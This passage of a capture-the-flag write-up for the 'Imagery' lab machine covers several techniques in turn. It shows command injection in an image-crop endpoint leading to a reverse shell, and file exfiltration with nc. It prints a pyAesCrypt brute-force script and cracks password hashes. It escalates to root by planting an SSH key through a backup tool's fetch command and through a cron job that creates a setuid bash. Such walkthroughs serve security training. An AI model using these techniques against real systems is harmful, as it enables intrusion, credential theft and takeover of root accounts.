    return hashlib.md5(password.encode()).hexdigest()

That would have been my guess seeing 32 hex characters. This cracks in CrackStation:

image-20260119075539121

After logging in with that password and the email testuser@imagery.htb and uploading an image, I’ll see the menu items are not disabled:

image-20260119075736075

Image Crop

Clicking on “Transform Image” opens a new pop-over:

image-20260119075830486

I’ve filled it in with a “Crop” operation as that’s the vulnerable path. Clicking “Apply Transformation” returns the image for download:

image-20260119075908469

And it shows up in a new group on the dashboard:

image-20260119075930973

Command Injection POC

I’ll find the POST request to /apply_visual_transform, send it to Repeater, and remove unneeded HTTP headers.

image-20260119080229859

It still works when I send x as a string:

image-20260119080308658

I’ll add a command injection to y that will ping my host and start tcpdump:

image-20260119080443707

This returns success, but there’s also a ping at my listening tcpdump:

oxdf@hacky$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:04:10.745992 IP 10.129.4.40 > 10.10.15.179: ICMP echo request, id 8751, seq 1, length 64
13:04:10.746022 IP 10.10.15.179 > 10.129.4.40: ICMP echo reply, id 8751, seq 1, length 64

Shell

I’ll update the command injection payload, changing it from ping to a bash reverse shell:

image-20260119080631460

Sending this just hangs, but at my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.4.40 56788
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$

I’ll upgrade my shell using the standard trick:

web@Imagery:~/web$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
web@Imagery:~/web$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
web@Imagery:~/web$ 

Shell as mark

Enumeration

web Home

The web home directory looks pretty empty other than the website code in web:

web@Imagery:~$ ls -la
total 40
drwxr-x--- 7 web  web  4096 Sep 22 18:56 .
drwxr-xr-x 4 root root 4096 Sep 22 18:56 ..
lrwxrwxrwx 1 root root    9 Sep 22 13:21 .bash_history -> /dev/null
-rw-r--r-- 1 web  web   220 Aug 20  2024 .bash_logout
-rw-rw-r-- 1 web  web    85 Jul 30 08:14 .bash_profile
-rw-r--r-- 1 web  web  3856 Jul 30 08:14 .bashrc
drwx------ 6 web  web  4096 Sep 22 18:56 .cache
drwx------ 3 web  web  4096 Sep 22 18:56 .config
drwxrwxr-x 6 web  web  4096 Sep 22 18:56 .local
drwx------ 3 web  web  4096 Sep 22 18:56 .pki
drwxrwxr-x 9 web  web  4096 Sep 22 18:56 web

There are some interesting pipx logs in .local (I don’t know if these were left intentionally as a hint or not):

web@Imagery:~$ ls .local/state/pipx/log/                            
cmd_2025-07-30_08.13.55.log  cmd_2025-07-30_08.16.50.log
cmd_2025-07-30_08.14.22.log  cmd_2025-07-30_08.21.57.log
cmd_2025-07-30_08.16.35.log
.local/state/pipx/log/cmd_2025-07-30_08.13.55.log
.local/state/pipx/log/cmd_2025-07-30_08.14.22.log
.local/state/pipx/log/cmd_2025-07-30_08.16.35.log
.local/state/pipx/log/cmd_2025-07-30_08.16.50.log
.local/state/pipx/log/cmd_2025-07-30_08.21.57.log

From these, I can construct the following timeline from July 30 2025 showing the user installing tools with pipx:

2025-07-30
08:13:55Success, PATH warning
pipx install pyAesCrypt
08:14:22Success
pipx ensurepath
08:16:35Success
pipx install pyAesCrypt
08:16:50Error
pipx install ensurepath
08:21:57Success
pipx inject pyAesCrypt requests

The first command installs pyAesCrypt to ~/.local/share/pipx/venvs/pyaescrypt. Then they update the path, and install again (unnecessiarily). Then they try to install a package named ensurepath (which doesn’t exist). Finally they install the requests package into the virtual environment for pyAesCrypt (though it’s not clear why they would need this).

~/.local/share/pipx/venvs/ is now empty, which means this was later removed.

Users

There’s one other user with a home directory in /home:

web@Imagery:/home$ ls
mark  web

That matches the users with shells defined in passwd:

web@Imagery:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

The web user requires a password to run sudo:

web@Imagery:~$ sudo -l
[sudo] password for web: 

No password I’ve found so far works.

backup

In var, I’ll note both backup and backups as directories:

web@Imagery:/var$ ls   
backup   cache  lib    lock  mail  run   spool
backups  crash  local  log   opt   snap  tmp

backups is the standard directory common on Linux hosts, but backup is unique to Imagery. It contains a single file:

web@Imagery:/var/backup$ ls
web_20250806_120723.zip.aes

file is not installed on Imagery. Looking at the top of the file in hex shows that it was created with pyAesCrypt:

web@Imagery:/var/backup$ xxd web_20250806_120723.zip.aes | head
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42  AES....CREATED_B
00000010: 5900 7079 4165 7343 7279 7074 2036 2e31  Y.pyAesCrypt 6.1
00000020: 2e31 0080 0000 0000 0000 0000 0000 0000  .1..............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Recover mark’s Password

Recover Backup

I’ll grab a copy of the backup file to my local host using cat web_20250806_120723.zip.aes | nc 10.10.15.179 9001 and nc -lnvp 9001 > web_20250806_120723.zip.aes on my host. I’ll verify the hashes match. On my host file shows that nicely that it’s AES encrypted data from pyAesCrypt 6.1.1:

oxdf@hacky$ file web_20250806_120723.zip.aes 
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

There’s a five-year-old simple script on GitHub named pyAesBrute:

import sys,pyAesCrypt,time
s=time.time()
b=64*64
dic=sys.argv[1]
fi=sys.argv[2]
out=sys.argv[3]
pas=open(dic,'rb').readlines()
n=0
print('***brute forcing file...***')
total=len(pas)
while True:
    passf=pas[n].strip('\n'.encode('utf-8'))
    try:
        pyAesCrypt.decryptFile(fi,out,passf.decode('utf-8'),b)
        print('  ***file decrypted***')
        e=time.time()
        print('password: {%s}'%passf.decode('utf-8'))
        print('time taken:',e-s)
        print(f'{n/(e-s)} passwords per second')
        sys.exit()
    except Exception:
        n+=1

It takes a wordlist, input file, and output file, and uses the pyAesCrypt library to attempt decrypts until it finds the password. It works:

oxdf@hacky$ vim pyAesBrute.py
oxdf@hacky$ uv add --script pyAesBrute.py pyAesCrypt
Updated `pyAesBrute.py`
oxdf@hacky$ uv run pyAesBrute.py /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt web_20250806_120723.zip.aes web_20250806_120723.zip
Installed 4 packages in 14ms
***brute forcing file...***
  ***file decrypted***
password: {bestfriends}
time taken: 11.14896011352539
60.00559632358904 passwords per second

db.json

The backup looks very similar to the live site, but there are additional users in db.json:

    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "displayId": "f8p10uw0",
            "isTestuser": false,
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "displayId": "8utz23o5",
            "isTestuser": true,
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "web@imagery.htb",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],

The admin user’s password is the same (and doesn’t crack in CrackStation). The mark and web users passwords do crack:

image-20260119084943602

su

mark’s password from the backup works for their account on Imagery:

web@Imagery:/var/backup$ su - mark
Password: 
mark@Imagery:~$ 

It does not work over SSH. That’s because password authentication is disabled in /etc/ssh/sshd_config:

mark@Imagery:~$ cat /etc/ssh/sshd_config | grep Password
PasswordAuthentication no
#PermitEmptyPasswords no
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication, then enable this but set PasswordAuthentication

I’ll grab user.txt:

mark@Imagery:~$ cat user.txt
ae081a7e************************

Shell as root

Enumeration

The mark user can run charcol as any user without a password using sudo:

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

The binary is owned by root and only accessible to root, but I can run it with sudo:

mark@Imagery:~$ charcol
bash: /usr/local/bin/charcol: Permission denied
mark@Imagery:~$ ls -l /usr/local/bin/charcol 
-rwxr-x--- 1 root root 69 Aug  4 18:08 /usr/local/bin/charcol
mark@Imagery:~$ sudo charcol

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 



Charcol The Backup Suit - Development edition 1.0.0


Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help

I’m not able to find anything about it on the internet, which suggests it’s custom for Imagery. Only root can read the file, so I can’t do things like look up the hash on VT to see if it’s been seen before the release of this box. The help menu shows only two options, help and shell:

mark@Imagery:~$ sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system password verification).

There’s also an option to reset the password. I can try shell, but it needs a password:

mark@Imagery:~$ sudo charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password): 

[2026-01-19 22:45:47] [ERROR] Incorrect master passphrase. 2 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password): 

[2026-01-19 22:45:50] [ERROR] Incorrect master passphrase. 1 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password): 

[2026-01-19 22:45:51] [ERROR] Incorrect master passphrase after multiple attempts. Exiting application. If you forgot your master passphrase, then reset password using charcol -R command for more info do charcol help. (Error Code: CPD-002)
Please submit the log file and the above error details to error@charcol.com if the issue persists.

None of the passwords I’ve found so far work. I’ll try the -R option:

mark@Imagery:~$ sudo charcol -R shell

Attempting to reset Charcol application password to default.
[2026-01-19 22:49:54] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2026-01-19 22:50:05] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.

On entering mark’s password, it resets. The next time I run sudo charcol shell, it asks me to set a password or leave it off and creates the config, and then exits. Then running against drops to a shell:

mark@Imagery:~$ sudo charcol shell 

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 
Are you sure you want to use 'no password' mode? (yes/no): yes
[2026-01-19 22:50:39] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$ sudo charcol shell 


  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2026-01-19 22:50:45] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> 

help shows all the commands:

charcol> help
[2026-01-19 22:51:24] [INFO]
Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

Privesc

There are probably many ways to escalate using this binary. I’ll show two:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as mark]-->B(<a href='#via-fetch'>Via fetch</a>);
    B-->C[Shell as root];
    A-->D(<a href='#via-auto-cron'>Via auto</a>);
    D-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

via fetch

The fetch command takes a URL and stores the file at a given location:

charcol> fetch
usage: fetch [-h] [-o OUTPUT] [-f] [-p PASSWORD] [--ask-password] url
fetch: error: the following arguments are required: url
[2026-01-19 22:56:32] [ERROR] Invalid 'fetch' command arguments. Use 'help fetch' for usage.

I’ll host a public key and try downloading it:

charcol> fetch http://10.10.15.179/ed25519_gen.pub -o /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] No encryption password provided and application is in 'no password' mode. Creating unencrypted file.
[2026-01-19 22:57:34] [INFO] Attempting to fetch from URL: http://10.10.15.179/ed25519_gen.pub
[2026-01-19 22:57:34] [INFO] Output file will be: /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] Downloading file to temporary location: /tmp/0xdf.key.tmp
[2026-01-19 22:57:34] [WARNING] WARNING: Fetching files from remote URLs carries a risk of supply chain injection or remote code execution (RCE) if the fetched file is malicious.
[2026-01-19 22:57:34] [WARNING] Exercise extreme caution when fetching from untrusted sources. Do not extract or execute fetched files unless you are certain of their integrity and safety.
[2026-01-19 22:57:34] [INFO] Download complete.
[2026-01-19 22:57:34] [INFO] Set permissions for temporary downloaded file to 0o664
[2026-01-19 22:57:34] [INFO] Set ownership for temporary downloaded file to root:root
[2026-01-19 22:57:34] [INFO] Moving unencrypted file to final destination: /tmp/0xdf.key...
[2026-01-19 22:57:34] [INFO] Unencrypted fetched file saved to: /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] Set permissions for final output file to 0o664
[2026-01-19 22:57:34] [INFO] Set ownership for final output file to root:root

The file is there and owned by root:

mark@Imagery:~$ cat /tmp/0xdf.key 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
mark@Imagery:~$ ls -l /tmp/0xdf.key
-rw-rw-r-- 1 root root 96 Jan 19 22:57 /tmp/0xdf.key

I’ll do it again, this time writing to authorized_keys in the root user’s SSH directory:

charcol> cat /tmp/0xdf.key
[2026-01-19 22:57:39] [ERROR] Error: Command 'cat' is not a recognized Charcol command in the interactive shell. Blocked.
charcol> fetch http://10.10.15.179/ed25519_gen.pub -o /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] No encryption password provided and application is in 'no password' mode. Creating unencrypted file.
[2026-01-19 22:59:17] [INFO] Attempting to fetch from URL: http://10.10.15.179/ed25519_gen.pub
[2026-01-19 22:59:17] [INFO] Output file will be: /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] Downloading file to temporary location: /root/.ssh/authorized_keys.tmp
[2026-01-19 22:59:17] [WARNING] WARNING: Fetching files from remote URLs carries a risk of supply chain injection or remote code execution (RCE) if the fetched file is malicious.
[2026-01-19 22:59:17] [WARNING] Exercise extreme caution when fetching from untrusted sources. Do not extract or execute fetched files unless you are certain of their integrity and safety.
[2026-01-19 22:59:17] [INFO] Download complete.
[2026-01-19 22:59:17] [INFO] Set permissions for temporary downloaded file to 0o664
[2026-01-19 22:59:17] [INFO] Set ownership for temporary downloaded file to root:root
[2026-01-19 22:59:17] [INFO] Moving unencrypted file to final destination: /root/.ssh/authorized_keys...
[2026-01-19 22:59:17] [INFO] Unencrypted fetched file saved to: /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] Set permissions for final output file to 0o664
[2026-01-19 22:59:17] [INFO] Set ownership for final output file to root:root

Now I try to can SSH in, but it fails:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40 
Command 'lastlog' not found, did you mean:
  command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.

I’ll show why this is happening in Beyond Root, but we can get past it by running sh as the command on connecting:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40 -t sh
# bash
root@Imagery:~# cat root.txt
e2eef58f************************

via auto cron

Charcol has a set of commands based on the keyword auto that manage scheduled jobs. There are currently none:

charcol> auto list
[2026-01-20 12:24:21] [INFO] No Charcol-managed auto jobs found.

I’ll add one:

charcol> auto add --schedule "* * * * *" --command "bash -c 'cp /bin/bash /var/tmp/0xdf; chown root:root /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf'" --name "0xdf cron" --log-output /tmp/0xdfcron.log
[2026-01-20 12:28:04] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2026-01-20 12:28:07] [INFO] System password verified successfully.
[2026-01-20 12:28:07] [INFO] Auto job '0xdf cron' (ID: 9ffd17b0-1cda-4f9d-a74a-b5add4e0eb79) added successfully. The job will run according to schedule.
[2026-01-20 12:28:07] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'cp /bin/bash /var/tmp/0xdf; chown root:root /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf' >> /tmp/0xdfcron.log 2>&1

It does require the password for mark, but I have that. After a minute, there’s a SetUID / SetGID bash in /tmp:

mark@Imagery:~$ ls -l /var/tmp/0xdf
-rwsrwsrwx 1 root root 1474768 Jan 20 12:29 /var/tmp/0xdf

I’ll run with -p (to not drop privs) and get a shell as root:

mark@Imagery:~$ /var/tmp/0xdf -p
0xdf-5.2# 

And get the flag:

0xdf-5.2# cat /root/root.txt
e2eef58f************************

Beyond Root

Find Error

It’s not clear to me if the author / HTB tried to break SSH to prevent players using it, or if the box just missed this during quality control, but trying to connect via SSH fails in an error:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40
Command 'lastlog' not found, did you mean:
  command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.

I actually first ran into this trying to create myself a save point when used su to switch to mark. I had to step away for a bit, and didn’t want my reverse shell to die and to have to re-run the full exploit chain, so I wrote my public key into mark’s .ssh/authorized_keys, but had the same issue:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 
Command 'lastlog' not found, did you mean:
  command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.

It’s failing to find the lastlog command. There are many scripts that are run when a user logs in that might generate this. For example, ~/.bashrc and ~/.profile. grep -r lastlog /home/mark returns nothing, suggesting it’s not in mark’s home directory.

There are also global config scripts in /etc, such as /etc/profile. This script is run by every user, and it calls lastlog:

mark@Imagery:/etc$ grep -r lastlog . 2>/dev/null
./lvm/profile/lvmdbusd.profile: # display only outermost LVM shell-related log that lvmdbusd inspects first after LVM command execution (it calls 'lastlog' for more detailed log afterwards if needed)
./apparmor.d/abstractions/wutmp:  # some services update wtmp, utmp, and lastlog with per-user
./apparmor.d/abstractions/wutmp:  /var/log/lastlog  rwk,
./profile:  LAST_LOGIN=$(lastlog -u "$USER" | awk 'NR==2 {print $4, $5, $6, $7, $9}')

Immediately after calling lastlog, the result is checked to see if there is a previous login:

LAST_LOGIN=$(lastlog -u "$USER" | awk 'NR==2 {print $4, $5, $6, $7, $9}')
if [[ -z "$LAST_LOGIN" || "$LAST_LOGIN" == "**Never logged in**" ]]; then
	echo "Last login: Never logged in"
	exit 0
fi

When the result of lastlog is empty or contains “**Never logged in**”, it prints an error and exits, killing the session. That’s what I’m seeing here:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 
Command 'lastlog' not found, did you mean:
  command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.

SSH Commands

There is a bug in the script that I can exploit to get a shell. By default, SSH uses the shell configured in passwd as the process it spawns. For mark (and root), that’s bash:

mark@Imagery:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

Service accounts may have shells like /bin/false or /usr/sbin/nologin so that when you connect they print a message and exit. But SSH can also specify a command to run:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 id
uid=1002(mark) gid=1002(mark) groups=1002(mark)

If I want to interact with that program, it’s helpful to add -t to force pseudo-terminal allocation.

profile Bug

There’s a bug in /etc/profile that allows me to skip the check for lastlog. The issue here is that the script uses [[ ]] to evaluate that check, not [ ]. [[ ]] is a bash-ism, not part of the POSIX standard. [ ] is POSIX compliant and works in sh/dash/bash, where as [[ ]] only works in Bash and Zsh. That means if I run sh or dash (sh is symlinked to dash on Imagery) instead of bash on logging in, the [[ ]] syntax will fail.

I can use -t sh to get a shell using sh instead of bash, when it gets to if [[ -z "$LAST_LOGIN" || ... ]]; then, it errors out and returns from the script (without killing the session):

oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 -t sh
$ id
uid=1002(mark) gid=1002(mark) groups=1002(mark)

I can switch to bash from here without issue:

$ bash
mark@Imagery:~$